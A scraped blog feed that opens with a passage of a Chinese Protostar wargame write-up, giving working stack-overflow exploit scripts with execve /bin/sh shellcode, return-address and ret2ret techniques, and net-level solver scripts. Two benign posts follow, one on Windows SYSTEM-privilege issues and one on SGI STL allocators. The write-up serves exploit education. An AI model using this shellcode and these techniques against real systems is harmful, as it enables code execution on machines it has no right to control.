   0x080483d9 <+21>:	leave  
   0x080483da <+22>:	ret    
b *0x080483d1
r
i r $eax

可以看到eax寄存器的值为: 0xbffffce0

import sys
 
totallen = 0x4C
retnaddr = "\xe0\xfc\xff\xbf"
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
             "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
sys.stdout.write(shellcode + '\x90'*(totallen-len(shellcode)) + retnaddr)

这里有一个奇怪的问题,直接执行stack5这个程序,将会提示段错误:

Segmentation fault

而如果在GDB下执行,Shellcode倒是成功执行了,但是shell进程马上就退出了:

Executing new program: /bin/dash
 
Program exited normally.

两个问题
1. 直接执行提示Segmentation fault,而GDB下可以成功执行Shellcode
2. GDB下执行Shellcode后,shell进程立刻退出了

可能原因
1. 两种情况下栈基址不一样,所以最好通过分析core dump来得到覆盖地址
2. MattAndreko’s Blog[1]的文章中提到对于gets缓冲区溢出的情况,如果执行execve的shellcode,需要想关闭stdin然后重新打开,在Exploit-DB[2]可以得到这样的一份Shellcode

生成并分析core文件

ulimit -c unlimited                 不限制core文件的大小
cat /proc/sys/kernel/core_pattern   查看core文件位置与格式
echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件
python -c "print 'A'*100+'B'*4" | /opt/protostar/bin/stack5
(Segmentation fault (core dumped))
gdb -q -c core.11.stack5.2083       分析core文件
[New LWP 2083]
Core was generated by '/opt/protostar/bin/stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x /40xw $esp-100
0xbffffcdc:	0x080483d9	0xbffffcf0	0xb7ec6165	0xbffffcf8
0xbffffcec:	0xb7eada75	0x41414141	0x41414141	0x41414141
0xbffffcfc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd0c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd1c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd2c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd3c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffd4c:	0x41414141	0x41414141	0x42424242	0xb7ffef00
0xbffffd5c:	0x08048232	0x00000001	0xbffffda0	0xb7ff0626
0xbffffd6c:	0xb7fffab0	0xb7fe1b28	0xb7fd7ff4	0x00000000
(gdb)

可以看到从0xbffffcf0地址处开始覆盖栈上的数据,这里可以在前面设置适量的NOP指令,确保Shellcode执行的成功率。
返回地址计算: 0xbffffcf0+0x4C+4 = 0xbffffd40
exploit code

import sys
 
retnaddr = "\x40\xfd\xff\xbf"
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write('A'*0x4C + retnaddr + '\x90'*20 + shellcode)

现在就可以成功溢出了。生成Core文件的设置参考了文章Kroosec’s blog[3]

stack6
对返回地址做了限制,不能直接跳转到栈上执行代码了。这里可以通过两层跳转实现,先把返回地址覆盖为一个ret指令的地址,直接取getpath最后一条指令的地址( 0x080484f9 )即可。通过这条指令再一次取栈上的地址,而这个地址就可以是Shellcode的起始地址。

(gdb) disas getpath
Dump of assembler code for function getpath:
   0x08048484 <+0>:	push   %ebp
   0x08048485 <+1>:	mov    %esp,%ebp
   0x08048487 <+3>:	sub    $0x68,%esp
   0x0804848a <+6>:	mov    $0x80485d0,%eax
   0x0804848f <+11>:	mov    %eax,(%esp)
   0x08048492 <+14>:	call   0x80483c0 <printf@plt>
   0x08048497 <+19>:	mov    0x8049720,%eax
   0x0804849c <+24>:	mov    %eax,(%esp)
   0x0804849f <+27>:	call   0x80483b0 <fflush@plt>
   0x080484a4 <+32>:	lea    -0x4c(%ebp),%eax
   0x080484a7 <+35>:	mov    %eax,(%esp)
   0x080484aa <+38>:	call   0x8048380 <gets@plt>
   ...
   ...
   0x080484f9 <+117>:	ret    
End of assembler dump.

返回地址覆盖偏移: 0x4C+4 = 0×50
覆盖返回地址测试

python -c "print 'A'*0x50+'B'*4" | ./stack6
 
gdb -q -c core.11.stack6.2361
[New LWP 2361]
Core was generated by './stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) i r $esp
esp            0xbffffe40	0xbffffe40
(gdb) x /40xw $esp-100
0xbffffddc:	0x00000001	0x00000000	0x00000001	0xb7fff8f8
0xbffffdec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffdfc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe0c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe1c:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffe2c:	0x42424242	0x41414141	0x41414141	0x41414141
0xbffffe3c:	0x42424242	0x08048500	0x00000000	0xbffffec8
0xbffffe4c:	0xb7eadc76	0x00000001	0xbffffef4	0xbffffefc
0xbffffe5c:	0xb7fe1848	0xbffffeb0	0xffffffff	0xb7ffeff4
0xbffffe6c:	0x080482a1	0x00000001	0xbffffeb0	0xb7ff0626
(gdb)

返回地址覆盖到栈上的 0xbffffe3c 处,后面接上retn指令的地址,再接上Shellcode的地址,最后接上Shellcode即可。
exploit code

import sys
 
retnaddr = '\xf9\x84\x04\x08'
junk = 'A'*0x50
shellcodeaddr = '\x44\xfe\xff\xbf'
nops = '\x90'*20
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write(junk + retnaddr + shellcodeaddr + nops + shellcode)

stack7
getpath函数最后一条是return strdup(buffer),通过gets(buffer)覆盖返回地址为call eax指令的地址即可。
使用IDA找到这样的一条指令:

.text:080485EB                 call    eax ; __CTOR_LIST__

返回地址覆盖偏移: 0x4C + 4 = 0×50

(gdb) disas getpath
   0x080484c4 <+0>:	push   %ebp
   0x080484c5 <+1>:	mov    %esp,%ebp
   0x080484c7 <+3>:	sub    $0x68,%esp
   0x080484ca <+6>:	mov    $0x8048620,%eax
   0x080484cf <+11>:	mov    %eax,(%esp)
   0x080484d2 <+14>:	call   0x80483e4 <printf@plt>
   0x080484d7 <+19>:	mov    0x8049780,%eax
   0x080484dc <+24>:	mov    %eax,(%esp)
   0x080484df <+27>:	call   0x80483d4 <fflush@plt>
   0x080484e4 <+32>:	lea    -0x4c(%ebp),%eax
   0x080484e7 <+35>:	mov    %eax,(%esp)
   0x080484ea <+38>:	call   0x80483a4 <gets@plt>
   0x080484ef <+43>:	mov    0x4(%ebp),%eax            ; 注意这里取了返回地址存入缓冲区
   0x080484f2 <+46>:	mov    %eax,-0xc(%ebp)           ; 所以返回地址会出现两次
   ...
   ...
   0x08048543 <+127>:	leave  
   0x08048544 <+128>:	ret      
End of assembler dump.

call eax直接跳转到buffer上执行代码,所以前面的填充要注意一下,这里填充为0×90,然后通过一个jump跳过覆盖的返回地址。因为把返回地址存入了缓冲区( ebp-0x0C ),使得返回地址出现了两次,这里需要跳过:0x4C – 0x0C 之后出现一次返回地址,即要跳过0×40 ~ 0×54 这0×14个字节。可以使用JMP来实现。
exploit code

import sys
 
retnaddr = '\xeb\x85\x04\x08'
junk = '\x90'*(0x40-2) + '\xEB\x14'     # jump 0x14 bytes afterwards
junk += '\x90'*(0x50 - len(junk))
nops = '\x90'*20
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write(junk + retnaddr + nops + shellcode)

net0

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2999))
    data = sock.recv(1024)
    print data
    data = data.split("'")[1]
    sock.send(struct.pack('<i', int(data)))
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net1

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2998))
    data = sock.recv(1024)
    data = "%d\n" % (struct.unpack('<i', data))
    print data
    sock.send(data)
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net2

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2997))
 
    sum = 0
    datalen = 0
    while datalen < 12:
        data = sock.recv(1024)
        datalen += len(data)
        data = struct.unpack("<%dI" % (len(data)/4), data)
        for x in data:
            print "%d" % x
            sum += x
    sock.send(struct.pack("<I", sum))
    print sock.recv(1024)
    sock.close()
 
if __name__ == "__main__":
    main()

net3

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import struct
 
def getData():
    stritem = ["net3", "awesomesauce", "password"]
    data = '\x17'
    for s in stritem:
        data = data + chr(len(s)+1) + s + '\x00'
    data = data + '\n'
    return data
 
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.218.170", 2996))
    data = getData()
    sock.send(struct.pack('>H', len(data)))
    sock.send(data)
    print sock.recv(1024)[3:]
 
if __name__ == "__main__":
    main()

点击阅读Exploit-Exercises Protostar Writeup (Stack & Net)阅读GitHub Markdown内容。


本文地址: 程序人生 >> Exploit-Exercises Protostar Writeup Part I
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

SYSTEM权限引发的系列问题

$
0
0

Windows下的服务程序(S程序)都是以SYSTEM权限启动的,通过服务程序启动的程序(N程序)自然也会是SYSTEM权限的,而如果开发N的时候没有考虑到SYSTEM权限这种情况,那么有可能N就无法正常的运行于SYSTEM权限下。

场景:客户需要在服务下运行我的程序,在这样的情况下我的程序崩溃了:(为了方便调试,我给程序添加了崩溃转储功能,把DUMP文件拿回来之后用Windbg调试了一下,发现是由于在SYSTEM权限下通过环境变量获取的一些内容发生变化了,通过部分Windows API获取的内容也变了,还有注册表的部分读写也被重定向了,由于我的程序中的判断不够严格,导致了程序Crash了。

这时候我想到是服务程序在运行我的程序的时候,要先模拟成当前的登录用户,然后通过CreateProcessAsUser来启动我的程序,那样问题很好解决,我甚至不需要做任何修改即可。但是作为一个小小的开发我都没有接触到客户的机会,这其中的沟通成本太高了(可能客户的服务程序也是买来的,连源码都没有,就无从改起了),经过和XX几次交流后还得我自己改。

1. SYSTEM权限引发的问题
1. 针对HKEY_CURRENT_USER的部分注册表写操作被重定向到HKEY_USERS\.DEFAULT下面去了;
2. GetEnvironmentVariable函数获取到的环境变量都是SYSTEM用户的;
3. SHGetSpecialFolderPath函数获取到的许多路径也都是SYSTEM用户的;
4. 通过CreateProcess创建的子进程都是SYSTEM权限的;

比如通过SHGetSpecialFolderPath获取CSIDL_LOCAL_APPDATA的路径为C:\windows\system32\config\systemprofile\appdata\local;通过GetEnvironmentVariable获取TMP的路径为C:\Windows\TEMP等;

2. 判断是否是SYSTEM权限
应该是能够通过权限的API去判断的,不过这里我用了一个简单的方法,直接判断路径是否是正常的:

bool IsSystemPrivilege()
{
    char szPath[MAX_PATH] = {0};
    if (SHGetSpecialFolderPath(NULL, szPath, CSIDL_APPDATA, TRUE))
    {
        std::string flag("config\\systemprofile");
        std::string path(szPath);
        if (path.find(flag) != std::string::npos)
        {
            return true;
        }
    }
    return false;
}

3. 模拟当前登陆用户
模拟当前登陆用户,可以解决SHGetSpecialFolderPath的问题,另外保存Token,可以通过CreateProcessAsUser来创建登录用户权限的进程。

bool MyImpersonateLoggedOnUser()
{
    HANDLE hToken = NULL;
    DWORD dwConsoleSessionId = WTSGetActiveConsoleSessionId();
    if (WTSQueryUserToken(dwConsoleSessionId, &hToken))
    {
        if (ImpersonateLoggedOnUser(hToken))
        {
            // 保存Token
            return true;
        }
    }
    return false;
}
// 使用完毕之后通过调用RevertToSelf取消模拟

4. 环境变量
比如说我要获取临时目录的路径,因为环境变量是和进程本身相关的,所以通过GetEnvironmentVariable是不行的。这里先读取注册表HKEY_USERS\.DEFAULT\Environment下的TMP/TEMP的内容,得到:

%USERPROFILE%\AppData\Local\Temp

然后通过调用GetUserProfileDirectory来获取USERPROFILE的内容,注意要传入上面的Token。

当然还有一些用户相关的环境变量是这里没有的,这时候就要枚举用户的SID,然后读取HKEY_USERS的子键来获取了。

5. 其他问题
这个时候子进程可以正常的跑起来了。但是在我的实际操作中还遇到一点点小问题。我的子进程也会调用SHGetSpecialFolderPath来获取CSIDL_LOCAL_APPDATA的路径,但是这个时候居然失败了,GetLastError返回5。

这个地方还是相当疑惑的,首先,普通的权限调用SHGetSpecialFolderPath来获取CSIDL_LOCAL_APPDATA的路径是OK的;另外通过服务调用CreateProcessAsUser启动的程序,调用SHGetSpecialFolderPath来获取CSIDL_PROGRAM_FILES也是可以的,偏偏获取CSIDL_LOCAL_APPDATA就不行了,这个地方实在是搞不明白了,网上也没找到原因。

好在Windows还提供了一个叫做SHGetFolderPath的API,是可以正常获取路径的,所以我做了一个简单的包装,这样不用改动太多的东西,而且不影响原来的稳定性。

// ============================================================================
// SHGetSpecialFolderPath形式的接口,调用失败时再尝试通过SHGetFolderPath函数实现
// ============================================================================
BOOL WINAPI SHGetSpecialFolderPathWrapper(
    HWND hwndOwner,
    LPSTR lpszPath,
    int nFolder,
    BOOL fCreate)
{
    if (SHGetSpecialFolderPath(hwndOwner, lpszPath, nFolder, fCreate))
    {
        return TRUE;
    }
    if (S_OK == SHGetFolderPath(NULL, nFolder, NULL, SHGFP_TYPE_DEFAULT, lpszPath))
    {
        return TRUE;
    }
    return FALSE;
}

MSDN中提到了SHGetSpecialFolderPath is not supported. Instead, use ShGetFolderPath. 不过也提到ShGetFolderPath是Deprecated的,推荐使用SHGetKnownFolderPath。

刚刚从上海听完xKungFoo回来,周末两天加班到深夜,实在是……好在到这里总算是把这些纠结的问题解决了:)


本文地址: 程序人生 >> SYSTEM权限引发的系列问题
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之空间配置器

$
0
0

最近看了看侯捷的《STL源码剖析》,打算看完之后写写笔记,毕竟很多东西看起来看懂了,却并不一定能够将其描述清楚,说到底还是没有彻底弄明白,最近博客也基本不怎么写了,所以还是决定写一写,这也算是写博客的乐趣之一吧。这一系列笔记,更主要是写给自己看的:)

1. 初探allocator
其实像我这样的一般人几乎接触不到allocator这种东西,因为这个模板参数是有默认值的,普通用户完全不需要和他打交道。但观察一下allocator这个东西的设计思路,还是可以学到不少东西。先从一个简单的allocator源代码看起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#ifndef _JJALLOC_
#define _JJALLOC_
 
#include <new>
#include <cstddef>
#include <cstdlib>
#include <climits>
#include <iostream>
 
namespace JJ
{
    // 使用operator new分配空间
    template<class T>
    inline T* _allocate(ptrdiff_t size, T*)
    {
        std::set_new_handler(0);
        T *tmp = (T*)(::operator new((size_t)(size * sizeof(T))));
        if (tmp == 0)
        {
            std::cerr << "out of memory" << std::endl;
            exit(1);
        }
        return tmp;
    }
    // 使用operator delete回收空间
    template<class T>
    inline void _deallocate(T* buffer)
    {
        ::operator delete(buffer);
    }
    // 在指定内存上构造一个对象
    template<class T1, class T2>
    inline void _construct(T1* p, const T2& value)
    {
        // placement new
        new (p) T1(value);
    }
    // 析构一个对象
    template<class T>
    inline void _destroy(T* ptr)
    {
        ptr->~T();
    }
    // 遵循allocator的标准定义相关结构
    template<class T>
    class allocator
    {
    public:
        typedef T           value_type;
        typedef T*          pointer;
        typedef const T*    const_pointer;
        typedef T&          reference;
        typedef const T&    const_reference;
        typedef size_t      size_type;
        typedef ptrdiff_t   difference_type;
 
        template<class U>
        struct rebind
        {
            typedef allocator<U> other;
        };
 
        pointer allocate(size_type n, const void* hint=0)
        {
            return _allocate((difference_type)n, (pointer)0);
        }
 
        void deallocate(pointer p, size_type n)
        {
            _deallocate(p);
        }
 
        void construct(pointer p, const T& value)
        {
            _construct(p, value);
        }
 
        void destroy(pointer p)
        {
            _destroy(p);
        }
 
        pointer address(reference x)
        {
            return (pointer)&x;
        }
 
        const_pointer const_address(const_reference x)
        {
            return (const_pointer)&x;
        }
 
        size_type max_size() const
        {
            return size_type(UINT_MAX/sizeof(T));
        }
    };
}
 
#endif

上面的代码之中的几个点:
1. set_new_handler
set_new_handler的函数原型如下:

typedef void (*new_handler)();
new_handler set_new_handler (new_handler new_p) throw();

使用set_new_handler可以设置一个函数new_p,当使用new/operator new分配内存失败时,new_p将被调用。new_p将尝试使得更多内存空间可用,以使得接下来的内存分配操作能够成功。如果new_p指向NULL(默认就是NULL),那么将会抛出bad_alloc异常,这也是为什么我们默认使用new失败的时候将会抛出bad_alloc异常的原因;

2. 几个new/delete操作
我们使用的new叫做new operator,包括两个步骤,一是调用operator new来分配指定大小的内存空间,然后调用构造函数;所以如果只是进行空间分配操作,那么使用operator new就可以了,就好比C的malloc函数;如果已经分配好了空间,想在上面构造一个对象,那么可以使用placement new,上面的_construct函数里面调用的就是placement new;

3. 如何使用这个allocator?
定义vector时有一个模板参数用于指定allocator,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "jjalloc.h"
#include <vector>
#include <iostream>
using namespace std;
 
int main(int argc, char **argv)
{
    int ia[5] = {0, 1, 2, 3, 4};
    unsigned int i;
    vector<int, JJ::allocator<int> > iv(ia, ia+5);
    for (i = 0; i < iv.size(); ++i)
    {
        cout << iv[i] << " ";
    }
    cout << endl;
 
    return 0;
}

2. 构造与析构
在stl_construct.h中定义了构造和析构的相关函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// 调用placement new,根据__value在__p上构造一个对象
template <class _T1, class _T2>
inline void _Construct(_T1* __p, const _T2& __value) {
  new ((void*) __p) _T1(__value);
}
 
// 调用placement new在__p上构造一个对象,使用默认构造函数
template <class _T1>
inline void _Construct(_T1* __p) {
  new ((void*) __p) _T1();
}
 
// 析构一个对象
template <class _Tp>
inline void _Destroy(_Tp* __pointer) {
  __pointer->~_Tp();
}
 
// 析构迭代器__first和__last之间的对象,实际上通过destroy函数,调用了对应的析构函数
template <class _ForwardIterator>
void
__destroy_aux(_ForwardIterator __first, _ForwardIterator __last, __false_type)
{
  for ( ; __first != __last; ++__first)
    destroy(&*__first);
}
 
// __destroy_aux重载函数,这里是对于trivial析构函数,不进行任何处理,提高效率
template <class _ForwardIterator> 
inline void __destroy_aux(_ForwardIterator, _ForwardIterator, __true_type) {}
 
// 根据__type_traits萃取出类型_Tp的析构函数是否是trivial的,编译器根据类型自动选择对应的__destroy_aux
template <class _ForwardIterator, class _Tp>
inline void 
__destroy(_ForwardIterator __first, _ForwardIterator __last, _Tp*)
{
  typedef typename __type_traits<_Tp>::has_trivial_destructor
          _Trivial_destructor;
  __destroy_aux(__first, __last, _Trivial_destructor());
}
 
template <class _ForwardIterator>
inline void _Destroy(_ForwardIterator __first, _ForwardIterator __last) {
  __destroy(__first, __last, __VALUE_TYPE(__first));
}
 
inline void _Destroy(char*, char*) {}
inline void _Destroy(int*, int*) {}
inline void _Destroy(long*, long*) {}
inline void _Destroy(float*, float*) {}
inline void _Destroy(double*, double*) {}
#ifdef __STL_HAS_WCHAR_T
inline void _Destroy(wchar_t*, wchar_t*) {}
#endif /* __STL_HAS_WCHAR_T */
 
// --------------------------------------------------
// Old names from the HP STL.
 
template <class _T1, class _T2>
inline void construct(_T1* __p, const _T2& __value) {
  _Construct(__p, __value);
}
 
template <class _T1>
inline void construct(_T1* __p) {
  _Construct(__p);
}
 
template <class _Tp>
inline void destroy(_Tp* __pointer) {
  _Destroy(__pointer);
}
 
template <class _ForwardIterator>
inline void destroy(_ForwardIterator __first, _ForwardIterator __last) {
  _Destroy(__first, __last);
}
 
__STL_END_NAMESPACE

这里值得一提的主要是析构部分使用的一些技巧。首先解释一下所谓的trivial destructor,值得就是调用不调用都无所谓的析构函数,那么处于效率方面的考虑,在这样的情况下肯定选择什么都不做(如果进行十万百万次这样的函数调用,是不是就白白浪费了大好的时光了?)而且这里是在编译器就通过函数的重载来决定是否要调用析构函数。

具体是通过__type_traits来萃取出类型是否具有trivial destructor的,这里在后面的文章会提到这些细节。现在所要了解的就是通过__type_traits可以萃取出类型的destructor特性(trivial or non-trivial),然后通过函数重载来决定具体进行什么样的操作。

The implicitly-declared destructor for class T is trivial if all of the following is true:
  The destructor is not virtual (that is, the base class destructor is not virtual)
  All direct base classes have trivial destructors
  All non-static data members of class type (or array of class type) have trivial destructors
A trivial destructor is a destructor that performs no action. Objects with trivial destructors 
don't require a delete-expression and may be disposed of by simply deallocating their storage. 
All data types compatible with the C language (POD types) are trivially destructible.

3. 两级空间配置器
SGI STL提供两级空间配置器,第一级空间配置器使用malloc/free函数,当分配的空间大小超过128 bytes的时候使用第一级空间配置器;第二级空间配置器使用了内存池技术,当分配的空间大小小雨128 bytes的时候,将使用第二级空间配置器。

大量分配小块的内存空间会带来问题:一是从运行库的堆管理器中取得的内存(比如通过malloc获得的内存),会有一部分空间用于存储管理信息,用于管理各个内存块,这样内存的使用率就降低了;二是过多的小块内存会带来内存碎片问题;采用合适的内存池技术可以避免这些问题。

SGI STL的第二级内存配置器维护了一个free-list数组,分别用于管理8,16,24,32,40,48,56,64,72,80,88,96,104,112,120,128 bytes的小额区块,free-list的节点结构如下:

union obj
{
    union obj* free_list_link;
    char client_data[1];
};

这里使用union结构,是为了节省空间,也就是说,当节点位于free-list时,通过free_list_link指向下一块内存,而当节点取出来分配给用户使用的时候,整个节点的内存空间对于用户而言都是可用的,这样在用户看来,就完全意识不到free_list_link的存在,可以使用整块的内存了。

在分配内存时,会将大小向上调整为8的倍数,因为free-list中的节点大小全是8的倍数。

    enum {_ALIGN = 8};
    enum {_MAX_BYTES = 128};
    enum {_NFREELISTS = 16}; // _MAX_BYTES/_ALIGN
  // 将待分配的空间大小向上调整为8的倍数
  static size_t
  _S_round_up(size_t __bytes) 
    { return (((__bytes) + (size_t) _ALIGN-1) & ~((size_t) _ALIGN - 1)); }
 
__PRIVATE:
  union _Obj {
        union _Obj* _M_free_list_link;
        char _M_client_data[1];    /* The client sees this.        */
  };
private:
  // 定义free_list数组
  static _Obj* __STL_VOLATILE _S_free_list[_NFREELISTS]; 
  // 根据空间大小取得free_list数组的对应下标
  static  size_t _S_freelist_index(size_t __bytes) {
        return (((__bytes) + (size_t)_ALIGN-1)/(size_t)_ALIGN - 1);
  }

空间的分配:就是从对应的free-list节点链表中取出一个节点返回给用户,当然,如果没有可用的节点的话就要通过refill来分配新的节点了,后面会有描述:

  static void* allocate(size_t __n)
  {
    void* __ret = 0;
    // 如果大于128 bytes,则使用第一级空间配置器
    if (__n > (size_t) _MAX_BYTES) {
      __ret = malloc_alloc::allocate(__n);
    }
    else {
      // 通过大小取得free-list数组下标,随后取得对应节点的指针
      // 相当于&_S_free_list[_S_freelist_index(__n)]
      _Obj* __STL_VOLATILE* __my_free_list
          = _S_free_list + _S_freelist_index(__n);
      _Obj* __RESTRICT __result = *__my_free_list;
      // 如果没有可用的节点,则通过_S_refill分配新的节点
      if (__result == 0)
        __ret = _S_refill(_S_round_up(__n));
      else {
        // 将当前节点移除,并当做结果返回给用户使用
        *__my_free_list = __result -> _M_free_list_link;
        __ret = __result;
      }
    }
 
    return __ret;
  };

从free-list中摘取节点返回给用户使用的示意图如下:(配图来自《STL源码剖析》一书)
从free-list中摘取节点分配给用户使用
而空间的回收,则是把内存重新加入到free-list对应的节点链表上去。

那么,当对应的free-list链表中没有可用节点的时候,refill进行了怎样的操作呢?默认操作时通过_S_chunk_alloc从内存池中取得20个新的节点添加到free-list链表中,当然,内存池中的内存不够用也是会出现的情况之一,这时候能分多少就分多少节点,再万一内存池一个节点都提供不了了,那就内存池需要新增空间了,如果失败,再抛出bad_alloc异常。

template <bool __threads, int __inst>
void*
__default_alloc_template<__threads, __inst>::_S_refill(size_t __n)
{
    int __nobjs = 20;
    // 通过内存池分配内存,第二个参数为传引用方式
    char* __chunk = _S_chunk_alloc(__n, __nobjs);
    _Obj* __STL_VOLATILE* __my_free_list;
    _Obj* __result;
    _Obj* __current_obj;
    _Obj* __next_obj;
    int __i;
    // 如果只分配了一个节点,那么直接返回给用户就是了
    if (1 == __nobjs) return(__chunk);
    // 如果分配了不止一个节点,那么多余的我们要放到free-list里面去
    __my_free_list = _S_free_list + _S_freelist_index(__n);
 
    /* Build free list in chunk */
      __result = (_Obj*)__chunk;
      *__my_free_list = __next_obj = (_Obj*)(__chunk + __n);
      for (__i = 1; ; __i++) {
        __current_obj = __next_obj;
        __next_obj = (_Obj*)((char*)__next_obj + __n);
        if (__nobjs - 1 == __i) {
            // 最后一个节点的_M_free_list_link指针指向NULL,并跳出循环
            __current_obj -> _M_free_list_link = 0;
            break;
        } else {
            __current_obj -> _M_free_list_link = __next_obj;
        }
      }
    return(__result);
}

4. 内存池
通过_S_chunk_alloc,从内存池中分配空间给free-list:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
template <bool __threads, int __inst>
char*
__default_alloc_template<__threads, __inst>::_S_chunk_alloc(size_t __size, 
                                                            int& __nobjs)
{
    char* __result;
    // 需要分配的空间大小
    size_t __total_bytes = __size * __nobjs;
    // 内存池中剩余的空间大小
    size_t __bytes_left = _S_end_free - _S_start_free;
 
    // 如果剩余大小满足要求,那么直接操作对应的指针即可
    if (__bytes_left >= __total_bytes) {
        __result = _S_start_free;
        _S_start_free += __total_bytes;
        return(__result);
    }
    // 剩余大小不够,但是至少还能分配一个节点
    else if (__bytes_left >= __size) {
        // 能够分配的节点数
        __nobjs = (int)(__bytes_left/__size);
        __total_bytes = __size * __nobjs;
        __result = _S_start_free;
        _S_start_free += __total_bytes;
        return(__result);
    }
    // 一个节点的空间都不够了
    else {
        // 新申请的空间为2倍大小
        size_t __bytes_to_get = 
	  2 * __total_bytes + _S_round_up(_S_heap_size >> 4);
        // Try to make use of the left-over piece.
        // 如果还有剩余的空间,加入对应的free-list节点的链表
        if (__bytes_left > 0) {
            _Obj* __STL_VOLATILE* __my_free_list =
                        _S_free_list + _S_freelist_index(__bytes_left);
 
            ((_Obj*)_S_start_free) -> _M_free_list_link = *__my_free_list;
            *__my_free_list = (_Obj*)_S_start_free;
        }
        // 分配新的空间
        _S_start_free = (char*)malloc(__bytes_to_get);
        // 如果操作失败
        if (0 == _S_start_free) {
            size_t __i;
            _Obj* __STL_VOLATILE* __my_free_list;
            _Obj* __p;
            // Try to make do with what we have.  That can't
            // hurt.  We do not try smaller requests, since that tends
            // to result in disaster on multi-process machines.
            // 看看free-list数组中,是否有更大尺寸的可用节点
            for (__i = __size;
                 __i <= (size_t) _MAX_BYTES;
                 __i += (size_t) _ALIGN) {
                __my_free_list = _S_free_list + _S_freelist_index(__i);
                __p = *__my_free_list;
                // 如果有可用节点则摘一个下来给内存池使用
                if (0 != __p) {
                    *__my_free_list = __p -> _M_free_list_link;
                    _S_start_free = (char*)__p;
                    _S_end_free = _S_start_free + __i;
                    // 递归调用自身,修正__nobjs
                    return(_S_chunk_alloc(__size, __nobjs));
                    // Any leftover piece will eventually make it to the
                    // right free list.
                }
            }
            // 如果没有可用节点,则只能指望第一级空间配置器了
            _S_end_free = 0;	// In case of exception.
            _S_start_free = (char*)malloc_alloc::allocate(__bytes_to_get);
            // This should either throw an
            // exception or remedy the situation.  Thus we assume it
            // succeeded.
        }
        _S_heap_size += __bytes_to_get;
        _S_end_free = _S_start_free + __bytes_to_get;
        // 递归调用自身,修正__nobjs
        return(_S_chunk_alloc(__size, __nobjs));
    }
}

_S_chunk_alloc的流程总结如下:
1. 内存池有足够大小的空间,则分配申请的空间;
2. 内存池没有足够大小的空间,但是至少还能分配一个节点的空间,则能分多少分多少;
3. 内存池一个节点都腾不出来了,向系统的heap申请2倍于要求大小的空间,在此之间,如果内存池剩余有空间,则放到free-list中去;
4. 如果向heap申请空间失败,那么只能看free-list中更大的节点是否有可用空间了,有则用之,同时递归调用自身修正__nobjs;
5. 如果free-list也没有可用节点了,那么转向第一级空间配置器申请空间;
6. 再不行,第一级空间配置器就要抛出bad_alloc异常了;

